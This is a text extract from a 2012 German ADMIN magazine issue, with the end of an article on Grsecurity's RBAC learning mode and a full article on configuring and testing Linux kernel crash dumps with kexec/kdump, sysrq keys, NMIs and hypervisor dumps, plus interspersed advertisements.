
Rolle »default«. Das klingt nicht nur kompliziert,<br />

sondern sorgt bei der manuellen<br />

Einrichtung von Grsecurity immer wieder<br />

für Verwirrung.<br />

Nachdem Sie im Lernmodus alle gewünschten<br />

Aktionen ausgeführt haben,<br />

beenden Sie mit »gradm ‐E« das<br />

RBAC-System. Die Aufzeichnungen muss<br />

»gradm« jetzt noch in Regeln pressen und<br />

mit diesen eine neue Datei »/etc/grsec/<br />

policy« generieren (Abbildung 6):<br />

gradm ‐F ‐L /etc/grsec/gelerntes.log ‐OU<br />

/etc/grsec/policy<br />

Vorher sollten Sie sicherheitshalber eine<br />

Kopie der alten »/etc/grsec/policy« erstellen.<br />

Schmeißt man jetzt wieder das RBAC-<br />

System mit »gradm ‐E« an, sind alle<br />

aufgezeichneten Aktionen erlaubt. Im<br />

Beispiel darf der Benutzer »root« wieder<br />

den SSH-Daemon starten, ohne gleich die<br />

Rolle »admin« annehmen zu müssen.<br />

Der Lernmodus ist recht praktisch, in<br />

der Praxis kommt man jedoch normalerweise<br />

nicht um die nachträgliche Bearbeitung<br />

der Konfigurationsdatei »/etc/<br />

grsec/policy« herum. Eine Erläuterung<br />

des Aufbaus würde den Rahmen dieses<br />

Artikels sprengen. Einen Crash-Kurs findet<br />

man am Anfang der mitgelieferten<br />

»policy«-Datei, eine umfangreiche Referenz<br />

im Grsecurity-Wiki [7]. Als kleine<br />

Abbildung 6: Die notwendigen Regeln erzeugt »gradm« aus einem Protokoll selbst.<br />

Hilfe kann man auch den Lernmodus anwerfen,<br />

die entsprechende Aktion durchführen,<br />

dann die Regeln in eine separate<br />

Datei schreiben<br />

gradm ‐F ‐L /etc/grsec/gelerntes.log ‐O U<br />

/etc/grsec/neue<br />

und dann aus ihr die Regeln manuell in<br />

»policy« übertragen. Damit muss man<br />

sich zumindest schon einmal nicht die<br />

passenden Regeln selbst ausdenken.<br />

Fazit<br />

Grsecurity geht Hand in Hand mit dem<br />

PaX-Projekt [8], das einzelne Teile im<br />

Hauptspeicher mit einem Schreib- oder<br />

Ausführungsschutz versieht. Ein Prozess<br />

kann dann einen Datenbereich nicht mit<br />

Programmcode überschreiben. Auf diese<br />

Weise verhindert PaX die gefürchteten<br />

Buffer-Overflow-Attacken.<br />

Grsecurity ist komplex und teilweise<br />

umständlich zu administrieren. In der<br />

Vergangenheit wurden »grsecurity«,<br />

»gradm« und die Konfigurationsdateien<br />

zudem mehrfach leicht verändert. So<br />

konnte man früher beispielsweise den<br />

Prozessen zufällige Identifikationsnummer<br />

(PIDs) verpassen und TCP-Ports umnummerieren.<br />

Die Policy steckte zudem<br />

noch in der Datei »/etc/grsec/acl«. Diese<br />

Änderungen haben wiederum zur Folge,<br />

dass viele der Anleitungen und Artikel<br />

zu Grsecurity veraltet sind und nicht<br />

mehr funktionieren. Man sollte sich daher<br />

möglichst an die Dokumentation auf<br />

der Homepage halten [1]. Die hat jedoch<br />

mehr den Charme einer reinen Referenz<br />

und ist ermüdend zu lesen.<br />

Wer bei seinen ersten Schritten nicht aufpasst,<br />

sperrt sich trotz des Lernmodus<br />

schnell aus. Man sollte daher die ersten<br />

Erfahrungen in einer virtuellen Maschine<br />

sammeln, bevor man einen gehärteten<br />

Grsecurity-Kernel auf einen produktiv<br />

genutzten Root-<strong>Server</strong> loslässt. (ofr) n<br />

Infos<br />

[1] Grsecurity: [http:// grsecurity. net/]<br />

[2] Tim Schürmann, Japanischer Sheriff, Mandatory<br />

Access Control mit Tomoyo Linux,<br />

<strong>ADMIN</strong> 03/​2012,<br />

[http:// www. admin‐magazin. de/ Das‐Heft/​<br />

2012/ 03/ Mandatory‐Access‐Control‐mit‐To<br />

moyo‐Linux]<br />

[3] Repository mit Kerneln für Debian und<br />

Ubuntu: [http:// kernelsec. cr0. org/]<br />

[4] Quellcode des Linux-Kernels: [http://​<br />

kernel. org]<br />

[5] Echtheit des Linux-Kernels prüfen: [http://​<br />

www. kernel. org/ signature. html]<br />

[6] Beschreibung aller Grsecurity-Funktionen:<br />

[http:// en. wikibooks. org/ wiki/ Grsecurity/​<br />

Appendix/ Grsecurity_and_PaX_Configuration_Options]<br />

[7] Dokumenation des RBAC-Systems: [http://​<br />

en. wikibooks. org/ wiki/ Grsecurity/ The_<br />

RBAC_System]<br />

[8] Dokumentation des PaX-Projektes: [http://​<br />

pax. grsecurity. net/ docs/]<br />

Der Autor<br />

Tim Schürmann ist selbstständiger Diplom-Informatiker<br />

und derzeit hauptsächlich als freier<br />

Autor unterwegs. Zu seinen Büchern gesellen<br />

sich zahlreiche Artikel, die in Zeitschriften und<br />

auf Internetseiten in mehreren Ländern veröffentlicht<br />

wurden.<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

61


Know-How<br />

Kernel-Crashdumps<br />

© Stephen Sweet, Fotolia<br />

Kernel-Crashdumps aufsetzen und auswerten<br />

Flugschreiber<br />

Crasht der Linux-<strong>Server</strong>, steht neben der Wiederherstellung auch die Problemanalyse an: Was ist genau passiert,<br />

wo liegt der Fehler, welche vorbeugenden Maßnahmen sind nötig? Ein Kernel-Crashdump vom Zeitpunkt des<br />

Absturzes kann hierbei helfen. Dr. Udo Seidel<br />

Ein Dump des Betriebssystem-Kernels<br />

als Mittel zur Problem-Analyse ist in der<br />

Unix-Welt an sich ein alter Hut. Unter<br />

Linux lag dieses Thema aber lange Zeit<br />

brach. Die ersten Versuche erfolgten im<br />

Jahr 1999 mit dem Projekt LKCD (Linux<br />

Kernel Crash Dump) [1]. Dieser ursprünglich<br />

von SGI iniitierte Ansatz war<br />

insoweit erfolgreich, dass er sogar Einzug<br />

in die Enterprise-Distribution von Suse<br />

fand [2]. Die Probleme beim Schreiben<br />

des Dumps auf ein MD-RAID oder die<br />

Übertragung größerer Kernel-Images waren<br />

letztlich aber nicht zu beheben.<br />

Weitere Versuche mit Netdump (Red Hat)<br />

oder Diskdump [3] in den Jahren 2002<br />

beziehungsweise 2004 hatten auch nur<br />

mäßigen Erfolg. Mittlerweile gibt es mit<br />

Kdump und Kexec ([4] bis [7]) einen<br />

Ansatz, der in der Praxis zuverlässig einsetzbar<br />

ist. Eine Kern-Frage und gleichzeitig<br />

auch die größte Herausforderung beim<br />

Schreiben des Kernel-Dumps ist: Wer soll<br />

es machen? Die naheliegende Antwort<br />

lautet sicherlich: der Kernel selbst. Dieser<br />

Ansatz, den auch das LKCD-Projekt verfolgte,<br />

birgt aber einige Gefahren.<br />

Wie weit kann man dem Kernel, der ja<br />

gerade abgestürzt ist, vertrauen? Sind<br />

die Kernel-Strukturen und Daten intakt?<br />

Sind die Treiber noch richtig initialisiert,<br />

sodass die Festplatte oder der NFS-Share<br />

ansprechbar ist? Genau auf diese Probleme<br />

ist LKCD auch gestoßen.<br />

Besser wäre hier eine dem Kernel externe<br />

Instanz, die das Speichern des Kernel-<br />

Dumps übernimmt. Mit zunehmender<br />

Verbreitung der Virtualisierung ist der<br />

Hypervisor dafür ein naheliegender Kandidat.<br />

Tatsächlich ist es möglich, mit VMware,<br />

Xen oder KVM einen Dump des<br />

Linux-Kernels zu speichern, doch dazu<br />

später mehr.<br />

Läuft Linux direkt auf dem Blech, nützt<br />

der Hypervisor-Ansatz nichts. Hier kommt<br />

Kdump ins Spiel, genauer gesagt Kexec,<br />

eine Art Kernel-zu-Kernel-Bootloader. Der<br />

laufende Kernel kann über »kexec« einen<br />

neuen Kernel direkt laden und ausführen.<br />

Das BIOS bleibt aus dem Spiel, und es<br />

ist dem neuen Kernel überlassen, ob er<br />

den Speicherinhalt unberührt lässt oder<br />

bestimmte Einträge löscht.<br />

Dieser neue Kernel, auch Crash- oder<br />

Dump-Kernel genannt, startet einen<br />

Teil des restlichen Linux-Systems und<br />

speichert den Dump. Damit Kexec<br />

64 Ausgabe 04-2012 Admin www.admin-magazin.de


Kernel-Crashdumps<br />

Know-How<br />

funktionieren kann, benötigt der Admin<br />

drei Dinge: einen Kernel neuer als 2.6.13,<br />

einen Kernel, der für Kexec konfiguriert<br />

ist und die entsprechenden Userland-<br />

Werkzeuge (Abbildung 1).<br />

Kernel lädt Kernel<br />

Das Booten eines neuen Kernels aus dem<br />

Kontext eines laufenden Kernels klingt<br />

einfacher als es ist. Vor Version 2.6.26<br />

konnte der Linux-Kern nur von einer<br />

einzigen vorgegebenen Speicheradresse<br />

starten, und diese war natürlich schon<br />

vom laufenden Kernel belegt. Zweitens<br />

benötigt der Speicherbereich des neuen<br />

Kernels einen Schutz vor dem Überschreiben<br />

der Daten durch die ständig<br />

erfolgenden direkten Zugriffe auf den<br />

Hauptspeicher (DMA). Schließlich muss<br />

der neue Kernel auf bestimmte Informationen<br />

aus der Zeit des Absturzes zugreifen,<br />

muss also wissen, wo der alte<br />

Betriebssystem-Kern im Speicher liegt.<br />

Glücklicherweise muss sich der Administrator<br />

aber nicht mit dieser scheinbar<br />

aussichtslosen Mission beschäftigen.<br />

Dies erledigen das Kommando »kexec«<br />

und der Systemaufruf »kexec_load«. Ersteres<br />

lädt den neuen Kernel in einen reservierten<br />

Speicher-Bereich und ist im<br />

Zusammenspiel mit dem Systemcall für<br />

die Ausführung zuständig.<br />

Die konkrete Konfiguration des Kexec/​<br />

Kdump-Gespanns ist im Detail für jede<br />

Abbildung 1: Voraussetzungen für Kdump/​Kexec sind sowohl im Kernel- als auch im User-Land nötig.<br />

Linux-Distribution etwas unterschiedlich.<br />

Daher erläutert dieser Artikel das<br />

Vorgehen auf einem etwas allgemeineren<br />

Level anhand von Red Hats und<br />

Suses Enterprise-Distributionen (RHEL<br />

6.2 und SLES 11 SP2). Der Admin hat<br />

dabei die Wahl zwischen einer komplett<br />

manuellen Konfiguration mit »rpm« und<br />

»vi« beziehungsweise »emacs« oder der<br />

Listing 1: Vorbereitungen für den Kernel-Dump<br />

01 [root@rhel ~]# grep ‐i crash /proc/iomem<br />

02 03000000‐0affffff : Crash kernel<br />

03 [root@rhel ~]# grep crash /proc/cmdline<br />

04 ro root=/dev/mapper/VolGroup00‐LogVol00<br />

rd_NO_LUKS KEYBOARDTYPE=pc<br />

KEYTABLE=de‐latin1‐nodeadkeys rd_NO_MD quiet<br />

SYSFONT=latarcyrheb‐sun16 rhgb rd_LVM_<br />

LV=VolGroup00/LogVol01 rd_LVM_LV=VolGroup00/<br />

LogVol00 LANG=de_DE.UTF‐8 rd_NO_DM<br />

crashkernel=128M<br />

05 [root@rhel ~]# /etc/init.d/kdump status<br />

06 Kdump is operational<br />

07 [root@rhel ~]# which kexec<br />

08 /sbin/kexec<br />

09 [root@rhel ~]# which kdump<br />

10 /sbin/kdump<br />

Verwendung des Systemwerkzeuge des<br />

Herstellers. Im Falle von SLES ist es das<br />

»yast2‐kdump«-Modul, bei RHEL kommt<br />

»system‐config‐kdump« zum Einsatz.<br />

Zunächst muss der Admin die Werkzeuge<br />

zum Booten des Crash-Kernels und zum<br />

Schreiben des Dumps installieren. Das<br />

entsprechende Paket heißt üblicherweise<br />

»kexec‐tools« oder ähnlich. Eventuell ist<br />

11 [root@rhel ~]#<br />

12 <br />

13 sles:~ # grep ‐i crash /proc/iomem<br />

14 27000000‐2effffff : Crash kernel<br />

15 sles:~ # grep crash /proc/cmdline<br />

16 root=/dev/disk/by‐uuid/10a83ffe‐5a9f‐48a2‐b8c<br />

b‐551c2cc6b42d resume=/dev/sda3 splash=silent<br />

text showopts crashkernel=128<br />

17 sles:~ # /etc/init.d/boot.kdump status<br />

18 kdump kernel loaded<br />

19 running<br />

20 sles:~ # which kexec<br />

21 /sbin/kexec<br />

22 sles:~ # which kdump<br />

23 /sbin/kdump<br />

24 sles:~ #<br />

Anzeige-<strong>ADMIN</strong>-04:Anzeige-<strong>ADMIN</strong>-04 25.06.12 14:19 Seite 1<br />

Die Securepoint IT-Security-Produkt-Welt:<br />

Komplette IT-Security zum Schutz Ihrer Netzwerke, Systeme und Daten!<br />

Securepoint Operation Center (SOC)<br />

Das IT-Security-Leitsystem ist die zentrale Management-Lösung für alle<br />

VPN-/UTM-Gateways, die Network Access Controller (NAC) und das<br />

Unified Mail Archive (UMA) sowie für Produkte von Dritt-Anbietern.<br />

Securepoint VPN-Clients<br />

Der professionelle VPN-Client für OpenVPN ist zu jedem Securepoint<br />

UTM-/VPN-Gateway in beliebiger Anzahl kostenlos verfügbar.<br />

Securepoint ID Control-Token<br />

Software- und Hardware-Token zum sicheren Zugang durch<br />

Multi-Faktor-Authentisierung mttels Einmal-Passwort/OTP.<br />

Securepoint Document Signer<br />

Softwarelösung zum Signieren und Prüfen von Signaturen sowie dem<br />

Ver- und Entschlüsseln von beliebigen Dateien und Dokumenten.<br />

Securepoint UTM-/VPN- und KV-SafeNet-Gateways<br />

zum kompletten Netzwerkschutz (Firewall, VPN-<strong>Server</strong>, AntiVirus,<br />

Spam/Web-Filter, IDS, etc.) und zur professionellen Standort-Vernetzung.<br />

Auch zertifiziert für die deutschen Kassenärztlichen Vereinigungen.<br />

Securepoint Unified Mail Archive (UMA)<br />

zur rechtskonforme E-Mail-Archivierung und Entlastung bestehender E-Mail-<br />

<strong>Server</strong>, natürlich GDPdU-konform und inkl. beweiswerterhaltender Langzeitspeicherung<br />

nach neuester Richtline TR-03125 des BSI (gerichtsfest!).<br />

Geliefert mit täglich Qualifizierten Zeitstempeln.<br />

Securepoint Network Access Controller (NAC)<br />

WLAN-Management-Systeme zum einfachen Management von WLAN-Umgebungen/Access-Points<br />

und für die sichere Zugangskontrolle ins WLAN.<br />

Securepoint GmbH, Salzstraße 1, 21335 Lüneburg<br />

Tel.: 0 41 31 / 24 01-0, Fax: 0 41 31 / 24 01-50<br />

Email: info@securepoint.de Internet: www.securepoint.de


Know-How<br />

Kernel-Crashdumps<br />

Abbildung 2: Der Crash-Kernel in Aktion.<br />

das Aufspielen des Crash-Kernels nötig.<br />

Bei älteren Distributionen gibt es dafür<br />

ein separates Paket. Hier lädt »kexec«<br />

eine neue Binär-Datei.<br />

Kernel zum Crashen<br />

Heute gehen die Distributoren einen anderen<br />

Weg: Der normal installierte Kern<br />

ist mit allen Funktionen ausgestattet und<br />

kann auch als Crash-Kernel dienen. Dies<br />

ist der Fall für die aktuellen Varianten von<br />

RHEL und SLES – das Aufspielen eines<br />

weiteren Kernel-Paketes entfällt.<br />

Der nächste Schritt ist die Konfiguration<br />

von »kexec« und »kdump«. Ersteres ist<br />

für das Laden und Ausführen des Crash-<br />

Kernels zuständig. Dazu muss das Tool<br />

wissen, welcher Kernel zu laden ist, wo<br />

er sich befindet und ob eventuell zusätzlich<br />

Kernel-Optionen nötig sind. Die Konfiguration<br />

von »kdump« legt die Einstellungen<br />

zum Schreiben des Kernel-Dump<br />

fest. Dazu gehören der Ablageort, welche<br />

Informationen enthalten sind, optionale<br />

Komprimierung oder ein Aufsplitten des<br />

Dumps. Für die ersten Experimente empfiehlt<br />

es sich, mit der Standard-Einstellung<br />

zu beginnen.<br />

Wesentlich für das Funktionieren der<br />

Kexec/​Kdump-Methode ist, dass der<br />

Listing 2: Panik-Routine beim NMI-Ereignis<br />

01 # cat /proc/sys/kernel/unknown_nmi_panic<br />

02 1<br />

03 # sysctl kernel.unknown_nmi_panic<br />

04 kernel.unknown_nmi_panic = 1<br />

05 # grep nmi /etc/sysctl.conf<br />

06 kernel.unknown_nmi_panic = 1<br />

07 #<br />

Crash-Kernel zum Zeitpunkt des Problems<br />

bereits geladen ist. Dies übernimmt<br />

das Start-Skript von »kdump«, allerdings<br />

nur, wenn auch ein entsprechend geschützter<br />

Speicherbereich vorhanden ist.<br />

Damit der originale Kernel dies weiß,<br />

muss der Admin den Bootloader mit Option<br />

»crashkernel=XM[@YM]« versehen,<br />

wobei X die Größe des Reservierungsbereiches<br />

in MByte und Y die Start-Adresse<br />

angibt. Lässt man den zweiten Parameter<br />

weg oder gibt »0M« an, wählt das System<br />

automatisch einen geeigneten Platz aus.<br />

Ein anschließender Neustart aktiviert<br />

diese Änderung.<br />

Test-Crash<br />

Variante<br />

Wer unsicher ist, kann sich durch einen<br />

Blick in »/proc/iomem« davon überzeugen,<br />

dass der geschützte Speicherbereich<br />

markiert ist (siehe Listing 1). Ist<br />

alles korrekt verlaufen, kann das Start-<br />

Skript von »kdump« den Crash-Kernel<br />

in den Speicher laden. Typischerweise<br />

bindet der Admin dies in den regulären<br />

Boot-Prozess ein, für die ersten Gehversuche<br />

reicht aber auch eine manuelle<br />

Aktivierung.<br />

An dieser Stelle gilt es, das konfigurierte<br />

Setup zu überprüfen, sprich künstlich<br />

einen Kernel-Crash auszulösen, der dann<br />

automatisch das Schreiben des Dumps<br />

starten sollte. Dafür schaltet man über<br />

»echo 1 > /proc/sys/kernel/sysrq« zunächst<br />

die sogenannten Magic Sysrequest<br />

Keys ein. Im Normallfall ist das schon<br />

erledigt, wenn der Admin die Distributionswerkzeuge<br />

zum Einrichten des Kernel-Dumps<br />

verwendet hat.<br />

Ein beherztes »echo c > /proc/sysrq‐trigger«<br />

löst jetzt einen Kernel-Panic aus.<br />

Wenn alles funktioniert, startet das System<br />

dann den Crash-Kernel, der wiederum<br />

»kdump« beziehungsweise »makedumpfile«<br />

auslöst (Abbildung 2).<br />

Jeden Dump legt das System in einem mit<br />

dem Erzeugungsdatum versehenen Verzeichnis<br />

ab. Stürzt das System mehrfach<br />

ab, werden bereits gespeicherte Informationen<br />

so nicht überschrieben. Noch eine<br />

Nebenbemerkung für die Suse-Anhänger:<br />

Sie können den Kernel-Panic auch über<br />

das Laden des Modules »crasher.ko« auslösen.<br />

Dies stammt übrigens aus der Feder<br />

von Btrfs-Entwickler Chris Mason, als<br />

er noch bei Suse arbeitete [8].<br />

De Luxe<br />

Tabelle 1: Ablagemöglichkeiten für den Kernel-Dump<br />

raw /dev/​sdc1<br />

ext3 /dev/​sdc1<br />

ext4 LABEL=/​dump<br />

net mynfs.server.com:/​<br />

export/​dump<br />

net user@my.ssh.<br />

server.com<br />

Beschreibung<br />

Waren die ersten Dump-Versuche erfolgreich,<br />

kann es an das Tuning gehen. Da<br />

wäre zunächst die Speicher-Reservierung<br />

für den Crash-Kernel. Die allgemeine Anweisung<br />

lautet »crashkernel=Bereich1:Gr<br />

össe1[,Bereich2:Grösse2,...][@Adresse]«.<br />

Im konkreten Fall von »crashkernel=5<br />

12M‐2G:64M,2G‐:128M« heißt das: Für<br />

einen RAM-Ausbau von 512 MByte bis 2<br />

Gyte reserviert das System 64 MByte und<br />

128 MByte bei mehr als 2 GByte Haupt-<br />

Schreibt den Dump mit »dd« auf die Partition »/dev/sdc1«.<br />

Hängt »/dev/sdc1« als Ext3-Dateisystem ein und speichert dort den<br />

Dump.<br />

Hängt das Dateisystem mit diesem Label ein und legt den Dump dort ab.<br />

Integriert das entsprechende NFS-Share des <strong>Server</strong>s und schreibt den<br />

Dump dorthin.<br />

Speichert den Dump über SCP als entsprechenden Nutzer auf dem<br />

<strong>Server</strong>.<br />

66 Ausgabe 04-2012 Admin www.admin-magazin.de


speicher. Das vereinfacht die Konfiguration<br />

des Bootloaders für eine heterogene<br />

Hardware-Umgebung. Unabhängig vom<br />

Hauptspeicher bleibt der »crashkernel«-<br />

Eintrag immer derselbe. Bei Suse macht<br />

Yast das automatisch. Die Angaben von<br />

Größe und Bereich können laut Kernel-<br />

Dokumentation auch in KByte erfolgen,<br />

allerdings ist dies für die Praxis nicht<br />

relevant.<br />

In der Standard-Konfiguration speichert<br />

das System den Kernel-Dump der lokalen<br />

Platte. Bei Systemen mit üppigem Hauptspeicher<br />

kann es da schnell zu Problemen<br />

kommen. Glücklicherweise erlaubt<br />

das Kexec/​Kdump-Gespann auch das<br />

Speichern über das Netzwerk. Der Admin<br />

hat dabei die Wahl zwischen NFS und<br />

SSH/​SCP. Tabelle 1 listet die verfügbaren<br />

Optionen auf.<br />

Das Schreiben über SSH/​SCP setzt eine<br />

nicht-interaktive Authentisierung beispielsweise<br />

über Schlüssel voraus. Es<br />

empfiehlt sich daher, einen separaten<br />

und recht eingeschränkten Ziel-Benutzer<br />

zu konfigurieren.<br />

Notschalter<br />

Der oben aufgezeigte Weg, einen Kernel-<br />

Dump zu provozieren, funktioniert nicht<br />

mehr, wenn das System nicht mehr reagiert<br />

und zum Beispiel ein Login unmöglich<br />

ist. Eine Möglichkeit ist dann das<br />

Auslösen über eine bestimmte Tasten-<br />

Kombination, der ein Sysreq-Schlüssel<br />

zugeordnet ist. Eigentlich muss der Admin<br />

nur die Tasten [Alt], [SysRQ] und [C]<br />

gleichzeitig drücken, um das Schreiben<br />

des Kernel-Dumps auszulösen.<br />

Aber auch hier steckt die Herausforderung<br />

im Detail. Viele Tastaturen besitzen<br />

keine separate [SysRQ]-Taste, dann<br />

übernimmt [Druck] diese Funktion. Nun<br />

Taste<br />

b<br />

c<br />

l<br />

m<br />

s<br />

t<br />

w<br />

Tabelle 2: „Magische“ Sysrequest-Tasten<br />

Beschreibung<br />

kann es aber sein, dass die grafische<br />

Benutzeroberfläche genau diese Kombination<br />

abfängt und einen Screenshot<br />

vom Bildschirm macht. Dies lässt sich<br />

dann durch ein zusätzliches Betätigen<br />

der [Strg]-Taste umgehen. Manchmal erreicht<br />

man [SysRQ] auch über die Zweitbelegung<br />

mit [Fn]. So lässt sich das fast<br />

beliebig fortsetzen. Also auch hier ist<br />

sauberes Testen angesagt, damit man im<br />

Ernstfall auch die richtigen Tasten findet.<br />

Übrigens: Die Sysrequest Keys können<br />

noch viel mehr als nur den Kernel-Dump<br />

triggern (siehe Tabelle 2).<br />

Nicht selten hat der Admin aber keinen<br />

physischen Zugriff auf die Tastatur des<br />

<strong>Server</strong>s. Ein Durchreichen der gedrückten<br />

Tasten der lokalen Tastatur an den<br />

<strong>Server</strong> ist nicht unbedingt gegeben. Normalerweise<br />

kann der Admin dann aber<br />

bestimmte Tasten-Kombinationen auf<br />

andere abbilden.<br />

Nicht-maskierbare Interrupts<br />

Sollte dies auch fehlschlagen, bleibt noch<br />

die Möglichkeit, einen nicht-maskierbaren<br />

Interrupt (NMI/​Non-Maskable Interrupt)<br />

als Vehikel zu benutzen. Zunächst<br />

konfiguriert der Admin den Linux-Kernel<br />

so, dass dieser beim Empfang eines NMI<br />

die Panik-Routine abarbeitet und damit<br />

den Kernel-Dump auslöst. Dies geht<br />

bequem über die Sysctl-Schnittstelle.<br />

Der passende Parameter lautet »kernel.<br />

unknown_nmi_panic« und muss auf »1«<br />

stehen (siehe Listing 2). Techniken zur<br />

Verwaltung entfernter Rechner, beispielsweise<br />

iLO (integrated LightsOut) von HP<br />

oder DRAC (Dell Remote Access Controller)<br />

von Dell erlauben das manuelle<br />

Auslösen eines NMI-Ereignisses, das<br />

dann einen Kernel-Dump anstößt. Dabei<br />

ist zu beachten, dass andere Ereignisse,<br />

Sofortiger Reboot des Systems (ohne Umount oder Sync).<br />

System-Absturz und Starten des Kernel-Dumps (falls konfiguriert).<br />

Zeigt Backtrace für alle aktiven CPUs in der Konsole.<br />

Schreibt Informationen über Speicher auf die Konsole.<br />

Sync’ed alle eingehängten Dateisysteme.<br />

Listet aktive Prozesse auf der Konsole.<br />

Listet Prozesse im Zustand ’D’ auf der Konsole.<br />

ACH SO!<br />

SCHULUNGEN FÜR <strong>ADMIN</strong>S,<br />

DIE DURCHBLICKEN WOLLEN<br />

Fachlich und didaktisch kompetente<br />

Dozenten, spannende Schulungsthemen,<br />

eine lockere Atmosphäre im Kurs und<br />

angenehme Unterrichtsräume – all das<br />

erwartet Sie bei uns in Berlin an der<br />

Heinlein Akademie.<br />

Die nächsten Kurse:<br />

08.10.<br />

Netzwerkrouting für Profis<br />

15.10.<br />

Scalix - Der Exchange-Ersatz unter Linux<br />

15.10.<br />

Apache2 Webserver<br />

15.10.<br />

Sichere Mailserver mit Postfix<br />

17.10.<br />

Puppet Master Curriculum<br />

22.10.<br />

DNS und DNSsec<br />

Jetzt anmelden unter<br />

www.heinlein-akademie.de<br />

www.admin-magazin.de<br />

67<br />

Ausgabe 04-2012 Linux höchstpersönlich.


Know-How<br />

Kernel-Crashdumps<br />

Die nativen<br />

Linux-Hypervisor-<br />

Syste me eröffnen<br />

dem Admin<br />

sogar noch mehr<br />

Möglichkeiten. Es<br />

Abbildung 3: Kernel-Dump eines KVM-Gastes im laufenden Betrieb.<br />

ist möglich, einen<br />

Dump im laufenden<br />

Betrieb zu erzeugen. Im Normalfall<br />

beispielsweise fehlerhafte Hardware oder<br />

Firmware, ebenfalls einen NMI auslösen halten Xen und KVM den Gast für die<br />

können. Dies zieht im Normalbetrieb Dauer des Wegschreibens an, danach<br />

nicht unbedingt einen System-Crash läuft er einfach weiter. Die Kommandos<br />

nach sich und taucht eventuell nur als lauten »xm dump‐core Domain Ausgabedatei«<br />

beziehungsweise »virsh dump<br />

Meldung im »syslog« auf („Uhhuh. NMI<br />

received. Dazed and confused, but trying Domain Ausgabedatei« (siehe Abbildung<br />

to continue“).<br />

3). Fügt der Admin die Option »‐‐live«<br />

Die eben beschriebene Konfiguration hinzu, minimieren Xen und KVM den<br />

ändert dies, und der <strong>Server</strong> bootet in Zeitraum des Pausierens. Der Boot in<br />

jedem Fall.<br />

den Crash-Kernel fällt komplett weg und<br />

ebenso die Kexec/​Kdump-Konfiguration<br />

des Linux-Gastes.<br />

Virtuell geht’s einfacher<br />

Der Admin virtueller Linux-Gäste kann<br />

sich getrost zurücklehnen. VMware, Xen<br />

und KVM erlauben das Schreiben eines<br />

Kernel-Dumps, ohne dass der Gast extra<br />

darauf vorbereitet sein muss. Der Kernel-<br />

Dump enthält ja die Informationen des<br />

gerade aktiven Arbeitsspeichers, also im<br />

einfachsten Fall eine 1:1-Kopie des gesamten<br />

RAM.<br />

Die genannten Hypervisor-Systeme<br />

haben Zugriff auf den Speicher des<br />

Gastes und erlauben es, ihn in eine Datei<br />

zu schreiben. Im Fall von Xen und<br />

KVM ist das Speicherabbild kompatibel<br />

zu den Linux-Tools zum Auswerten des<br />

Crash-Dumps. Der VMware-Speicher-<br />

Abzug muss dazu noch weiterverarbeitet<br />

werden – dazu gleich mehr.<br />

Listing 3: VMware-Images zu Kernel-Dumps<br />

01 # vmss2core ‐N6 rhel.vmss<br />

02 The vmss2core version 591240 Copyright (C) 1998‐2012<br />

VMware, Inc. All rights reserved.<br />

03 Started core writing.<br />

04 Writing note section header.<br />

05 Writing 1 memory section headers.<br />

06 Writing notes.<br />

07 ... 10 MBs written.<br />

08 ... 20 MBs written.<br />

09 ...<br />

10 ... 1020 MBs written.<br />

11 Finished writing core.<br />

12 #<br />

13 # ls vmss.core<br />

14 vmss.core<br />

15 #<br />

VMware-Images in<br />

Crashdumps konvertieren<br />

Auch VMware beherrscht das Schreiben<br />

des Speichers seiner Gäste. Die erste<br />

Methode ist das Suspendieren und erzeugt<br />

eine Datei im »vmss«-Format. Der<br />

VMware-Admin kann aber auch beim<br />

Anlegen eines Checkpoints ein Abbild<br />

des Speichers schreiben, das dann als<br />

»vmsn«-Datei vorliegt. Allerdings erfordern<br />

beide Varianten eine Nachbehandlung,<br />

bevor die Standard-Werkzeuge<br />

fürs Kernel-Debugging damit umgehen<br />

können.<br />

VMware liefert dafür das Programm<br />

»vmss2core«, allerdings nur mit dem<br />

Workstation-Produkt, dafür aber für<br />

Windows wie auch für Linux [9]. ESX-<br />

Admins hin<strong>gegen</strong> schauen in die Röhre.<br />

Prinzipiell läuft »vmss2core« auch außerhalb<br />

einer vollständigen VMware-Workstation-Installation.<br />

Experimentierfreudige<br />

Anwender können das Tool einfach<br />

auf den Rechner ihrer Wahl kopieren und<br />

dort das Image konvertieren. Das Kommando<br />

»vmss2core ‐N6 .vmss«<br />

generiert dann den Kernel-Dump (siehe<br />

Listing 3). Bei den Labor-Tests schlug<br />

die Konvertierung sowohl für RHEL5 als<br />

auch für RHEL6 fehl. Mit SLES funktionierte<br />

alles wie erwartet.<br />

Das Schreiben des Kernel-Dumps über<br />

den Hypervisor hat den Vorteil, dass die<br />

Kexec/​Kdump-Konfiguration des Gastes<br />

komplett wegfällt. Zudem liegt die Datei<br />

außerhalb des Gastes und benötigt daher<br />

dort keinen Platz. Es sieht also alles viel<br />

einfacher aus. Ein bestimmtes Szenario<br />

kann das Hypervisor-Only-Setup nicht<br />

abdecken: den Kernel-Dump nach einem<br />

Crash mit automatischem Reboot. Ist dies<br />

nötig, führt kein Weg am Aufsetzen von<br />

Kexec/​Kdump vorbei. Die Vorgehensweise<br />

ist dabei genauso wie weiter oben<br />

beschrieben.<br />

Fazit<br />

Das Generieren eines Kernel-Dumps ist<br />

wahrlich kein Hexenwerk und mit wenigen<br />

Handgriffen zu erledigen. Sind die<br />

Linux-Systeme virtualisiert, ist es sogar<br />

noch einfacher. Es gibt also keine Ausrede<br />

mehr, warum es keinen Kernel-Dump zur<br />

Problem-Analyse gibt. Versierte Anwender<br />

können mit dem Tool »crash« sogar<br />

eine Erst-Analyse sogar selbst durchführen.<br />

(ofr)<br />

n<br />

Infos<br />

[1] LKCD: [http:// lkcd. sourceforge. net/]<br />

[2] Set Up Linux Kernel Crash Dump on SLES:<br />

[http:// www. novell. com/ coolsolutions/​<br />

feature/ 14813. html]<br />

[3] Diskdump: a new crash dump system:<br />

[https:// lwn. net/ Articles/ 87684/]<br />

[4] Linux Kernel Crash Book: [http:// www.​<br />

dedoimedo. com/ computers/ crash‐book.​<br />

html]<br />

[5] Kdump:<br />

[http:// lse. sourceforge. net/ kdump/]<br />

[6] Crash-Tools: [http:// people. redhat. com/​<br />

anderson/]<br />

[7] Bug 716994 – Provide native systemd unit<br />

file: [http:// bugzilla. redhat. com/ show_bug.​<br />

cgi? id=716994]<br />

[8] Bug 396132 – crasher module – why suse<br />

specific? [http:// bugzilla. novell. com/​<br />

show_bug. cgi? id=396132]<br />

[9] VMware Snapshot2core:<br />

